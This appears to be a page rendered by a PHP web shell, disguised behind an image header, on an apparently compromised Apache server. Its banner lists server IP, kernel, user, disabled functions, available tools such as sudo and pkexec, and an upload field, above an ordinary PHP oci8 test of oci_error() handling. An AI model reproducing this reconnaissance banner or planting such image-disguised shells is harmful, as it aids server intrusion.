????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.144.112.72 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/oci8/tests/ |
Upload File : |
--TEST-- Test error handling when persistent connection is passed to oci_error() --SKIPIF-- <?php if (!extension_loaded('oci8')) die("skip no oci8 extension"); ?> --FILE-- <?php // As part of the fix for Bug 42134, an error handling difference was // noticed when oci_error() was passed a persistent connection. This // was fixed and the behavior of oci_error() for all connections types // was made consistent. require(dirname(__FILE__).'/details.inc'); // Test parse error for normal connection if (!empty($dbase)) { $c1 = oci_connect($user,$password,$dbase); } else { $c1 = oci_connect($user,$password); } $s = @oci_parse($c1, "select ' from dual"); if (!$s) { echo "Normal connection: Parse error\n"; $m = oci_error($c1); var_dump($m); } // Test parse error for new connection if (!empty($dbase)) { $c2 = oci_new_connect($user,$password,$dbase); } else { $c2 = oci_new_connect($user,$password); } $s = @oci_parse($c2, "select ' from dual"); if (!$s) { echo "New connection: Parse error\n"; $m = oci_error($c2); var_dump($m); } // Test parse error for persistent connection if (!empty($dbase)) { $c3 = oci_pconnect($user,$password,$dbase); } else { $c3 = oci_pconnect($user,$password); } $s = @oci_parse($c3, "select ' from dual"); if (!$s) { echo "Persistent connection: Parse error\n"; $m = oci_error($c3); var_dump($m); } // Verify that passing no connection doesn't affect future calls $m = oci_error(); echo "No connection: error: "; var_dump($m); // Check the errors are still accessible in the respective handles $m = oci_error($c1); echo "Normal connection (take #2): Parse error: "; echo $m["message"], "\n"; $m = oci_error($c2); echo "New connection (take #2): Parse error: "; echo $m["message"], "\n"; $m = oci_error($c3); echo "Persistent connection (take #2): Parse error: "; echo $m["message"], "\n"; // Now create a new error for a normal connection and check all again $s = @oci_new_collection($c1, "ABC"); $m = oci_error($c1); echo "Normal connection: New Collection error: "; echo $m["message"], "\n"; $m = oci_error($c2); echo "New connection (take #3): Parse error: "; echo $m["message"], "\n"; $m = oci_error($c3); echo "Persistent connection (take #3): Parse error: "; echo $m["message"], "\n"; echo "Done\n"; ?> --EXPECTF-- Normal connection: Parse error array(4) { ["code"]=> int(1756) ["message"]=> string(48) "ORA-01756: %s" ["offset"]=> int(0) ["sqltext"]=> string(0) "" } New connection: Parse error array(4) { ["code"]=> int(1756) ["message"]=> string(48) "ORA-01756: %s" ["offset"]=> int(0) ["sqltext"]=> string(0) "" } Persistent connection: Parse error array(4) { ["code"]=> int(1756) ["message"]=> string(48) "ORA-01756: %s" ["offset"]=> int(0) ["sqltext"]=> string(0) "" } No connection: error: bool(false) Normal connection (take #2): Parse error: ORA-01756: %s New connection (take #2): Parse error: ORA-01756: %s Persistent connection (take #2): Parse error: ORA-01756: %s Normal connection: New Collection error: OCI-22303: type ""."ABC" not found New connection (take #3): Parse error: ORA-01756: %s Persistent connection (take #3): Parse error: ORA-01756: %s Done